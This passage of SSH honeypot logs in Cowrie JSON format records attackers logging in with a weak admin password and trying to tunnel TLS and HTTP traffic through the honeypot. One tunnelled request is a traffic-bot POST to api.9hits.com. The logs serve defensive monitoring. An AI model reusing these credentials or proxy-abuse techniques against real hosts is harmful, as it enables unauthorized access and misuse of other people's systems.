\\x81P\\x16x\\n\\xc1.\\x95\\x96.\\xc7\\xbcN\\x17Db\\xb2\\xd2\\x95p3\\xda\\x04\\xee\\xa8{\\xcc\\xb7\\xdd\\x87\\x83R\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc0?\\x9c\\x88\\x07\\xaf\\x89\\x0cq'Z5= i_4\\xf9S[\\xfaS\\xb4\\x96}G\\x92\\x02\\x14WHc \\x13s\\x155\\x9e\\xb0qj\\xe7p\\xa3\\x8dY_\\xb5\\xae\\xe9$\\x85c\\xcc\\x12\\xe6\\x1e\\xc7\\xc3\\xc9\\xe32\\x8cz\\x12\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x81P\\x16x\\n\\xc1.\\x95\\x96.\\xc7\\xbcN\\x17Db\\xb2\\xd2\\x95p3\\xda\\x04\\xee\\xa8{\\xcc\\xb7\\xdd\\x87\\x83R\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:40.191989Z","src_ip":"23.175.50.52","session":"2a16dbf36daa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:40.345223Z","session":"2a16dbf36daa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:40.402904Z","src_ip":"23.175.50.52","session":"2a16dbf36daa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03;\\x12r\\x92\\xd9\\xd6\\x87\\x0c\\xfaw\\x90\\xa8\\xf1\\xcd\\xbb{\\xc8I\\xf9\\x1b\\xb6\\xa1M\\xb4\\x15\\x93\\x84\\x98\\xe9\\xe4\\xd2\\xd4 \\x82\\x97\\xd5\\xb9=\\xcd\\xd2[\\x7fM\\x98\\x03\\xaf\\xef\\xc60\\xe7\\xc0\\xed!\\xa5t\\xce\\xd6\\x1aBk|\\xfb\\xee\\xfb>\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfb\\xc6\\xa6\\xfbH\\xdcL!\\xea\\xb6+\\x90\\xa1f\\xc8\\x8f\\xc1\\xfb\\x88n\\xbd\\x8fQ}\\xc1\\xbc\\xb3\\x9d\\x11\\xdc\\xea~\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03;\\x12r\\x92\\xd9\\xd6\\x87\\x0c\\xfaw\\x90\\xa8\\xf1\\xcd\\xbb{\\xc8I\\xf9\\x1b\\xb6\\xa1M\\xb4\\x15\\x93\\x84\\x98\\xe9\\xe4\\xd2\\xd4 \\x82\\x97\\xd5\\xb9=\\xcd\\xd2[\\x7fM\\x98\\x03\\xaf\\xef\\xc60\\xe7\\xc0\\xed!\\xa5t\\xce\\xd6\\x1aBk|\\xfb\\xee\\xfb>\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfb\\xc6\\xa6\\xfbH\\xdcL!\\xea\\xb6+\\x90\\xa1f\\xc8\\x8f\\xc1\\xfb\\x88n\\xbd\\x8fQ}\\xc1\\xbc\\xb3\\x9d\\x11\\xdc\\xea~\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:40.406225Z","src_ip":"23.175.50.52","session":"2a16dbf36daa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.6","message":"Connection lost after 16.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:44.336054Z","src_ip":"23.175.50.52","session":"2a16dbf36daa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":61358,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5dae378d3c5","protocol":"ssh","message":"New connection: 123.27.168.40:61358 (10.17.0.5:22) [session: a5dae378d3c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:46.270015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:46.274225Z","src_ip":"123.27.168.40","session":"a5dae378d3c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:46.581737Z","src_ip":"123.27.168.40","session":"a5dae378d3c5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:47.699295Z","src_ip":"123.27.168.40","session":"a5dae378d3c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:48.052845Z","session":"a5dae378d3c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:48.181950Z","session":"a5dae378d3c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:48.450287Z","src_ip":"123.27.168.40","session":"a5dae378d3c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=OCt2UmtxQjh0N0JGNVk%2BVA%3D%3Df9fFI7FxFC24OfI4nm1OeYTe8MciDuflh3a4KlkUx3UMs5IU4%2FZoGZIhe%2BSfYO4tEkzDpb88nIfjfmYcYcXz%2B%2FmOtVc3sFa5lv2Gajp2NVhWi46uHUCZyFkA1GqKoJG3ZiERwB3c8rBogXInEVWkbua9CwmgrW209yUT18Uf50yAZT0FX8dsDfg40RPOCuz0wiwJ2MJCqfWz%2FDXvmILcfMr6i%2Bu6iRz0e2SsNmMVdl3ask9tG%2BY%2Fol8qmk%2Bn1z7vR6rMQCwnsYwto3GEDOtx97nxyYHE%2FYrIHPP67I8IOQQPiK69U6M%2FBGDM9jyfAscwXnxl5i1d4ioQ38X2uf9dchprnV8mN%2Fn2iimoO8ywxlzaGk04WUxdDeYlpMF0CKK722zG2zKFfGRht2KqVtvajrkIh2zBXkCKT%2FHhej4kqvc35QGzJsdsy4Uwv%2F0Kht%2ByxxNKm0esmjVP%2BMWnLE8AHCLXA8SoaVlrFZlyccLSgMZO5fYat7KpbM8voqn6ElDgbvwH7gE%2B11pAGr3VKn4EYsY3A9qoTSTXUaHinB4fqrU2aergFKzw1uh2P0%2BvMPoEzRvc3JPZT1FjEVw%2B5YGWZ31gqZ8T5%2BThTnKUrEHZ5yVOoF26Xm8WQx0UPUiHRpzUw%2BRZzvfzQNrq1bBOaYolLSOSvzF%2Fp2v0QT%2Bu%2FIA819ozI2wysxYOxlrZKMWxH4ufhk7JNRLsEll7g53ZdfnIkHPWSGsfkra8QGzhUrucmuqZOagVLv5Lq%2FJQYDsGpLhoXyAaD2qyFMNgs632hYb1eczN3EuqlfIGnGW6L1WcW3%2B6rdU5NGiQdsLmx9KsAf6IH%2B%2Fu9c6Wk5GiA19EYkciyWrKyoS5FjrSvaly5hN9qs%2BE1KoaLCbVZuRsu6KgWWga9DqEoVxORUEBI%2FLIHTnim%2Bp7TMZbOffo3WCQL%2B6w1485zE9nEtGtEXAc7gWBREiXh1%2F0UXCRdUp5JWW3hSvPntCkZRvZeIykq2CPnlFpGBm2x8Sg7h%2ByQgyotRzAJnyhYWGb8%2FMDAULPB1HeID5CPzQmHCvhNzFOvo%2B8opfTxcVVv8nXWdXDsobW3XAKnQQJ'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=OCt2UmtxQjh0N0JGNVk%2BVA%3D%3Df9fFI7FxFC24OfI4nm1OeYTe8MciDuflh3a4KlkUx3UMs5IU4%2FZoGZIhe%2BSfYO4tEkzDpb88nIfjfmYcYcXz%2B%2FmOtVc3sFa5lv2Gajp2NVhWi46uHUCZyFkA1GqKoJG3ZiERwB3c8rBogXInEVWkbua9CwmgrW209yUT18Uf50yAZT0FX8dsDfg40RPOCuz0wiwJ2MJCqfWz%2FDXvmILcfMr6i%2Bu6iRz0e2SsNmMVdl3ask9tG%2BY%2Fol8qmk%2Bn1z7vR6rMQCwnsYwto3GEDOtx97nxyYHE%2FYrIHPP67I8IOQQPiK69U6M%2FBGDM9jyfAscwXnxl5i1d4ioQ38X2uf9dchprnV8mN%2Fn2iimoO8ywxlzaGk04WUxdDeYlpMF0CKK722zG2zKFfGRht2KqVtvajrkIh2zBXkCKT%2FHhej4kqvc35QGzJsdsy4Uwv%2F0Kht%2ByxxNKm0esmjVP%2BMWnLE8AHCLXA8SoaVlrFZlyccLSgMZO5fYat7KpbM8voqn6ElDgbvwH7gE%2B11pAGr3VKn4EYsY3A9qoTSTXUaHinB4fqrU2aergFKzw1uh2P0%2BvMPoEzRvc3JPZT1FjEVw%2B5YGWZ31gqZ8T5%2BThTnKUrEHZ5yVOoF26Xm8WQx0UPUiHRpzUw%2BRZzvfzQNrq1bBOaYolLSOSvzF%2Fp2v0QT%2Bu%2FIA819ozI2wysxYOxlrZKMWxH4ufhk7JNRLsEll7g53ZdfnIkHPWSGsfkra8QGzhUrucmuqZOagVLv5Lq%2FJQYDsGpLhoXyAaD2qyFMNgs632hYb1eczN3EuqlfIGnGW6L1WcW3%2B6rdU5NGiQdsLmx9KsAf6IH%2B%2Fu9c6Wk5GiA19EYkciyWrKyoS5FjrSvaly5hN9qs%2BE1KoaLCbVZuRsu6KgWWga9DqEoVxORUEBI%2FLIHTnim%2Bp7TMZbOffo3WCQL%2B6w1485zE9nEtGtEXAc7gWBREiXh1%2F0UXCRdUp5JWW3hSvPntCkZRvZeIykq2CPnlFpGBm2x8Sg7h%2ByQgyotRzAJnyhYWGb8%2FMDAULPB1HeID5CPzQmHCvhNzFOvo%2B8opfTxcVVv8nXWdXDsobW3XAKnQQJ'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:48.454604Z","src_ip":"123.27.168.40","session":"a5dae378d3c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:27:48.675303Z","src_ip":"123.27.168.40","session":"a5dae378d3c5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa99}\"6[\\xb6\\xdb\\x1cN\\x8dv\\xedvQ\\xf6\\x7f\\x9a\\xd0\\x04:(P\\x12\\xfeL\\xab\\x1f\\xf5\\xf2b\\xd3 \\x19\\x1d|\\x991n!v\\xe9\\r\\xcf+<A\\x95Zr\\xb58\\xee\\x15)\\xf4q\\xa0L\\xb51tSQ\\x9b\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x03\\xfc\\x013\\x8b\\xda;\"\\x95\\x92<(\\x94\\x14W\\xc6\\xd8\\x02I\\xb5\\x12\\xf3\\xbe\\x0b\\x94\\xe0\\r\\xc2rB^0\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\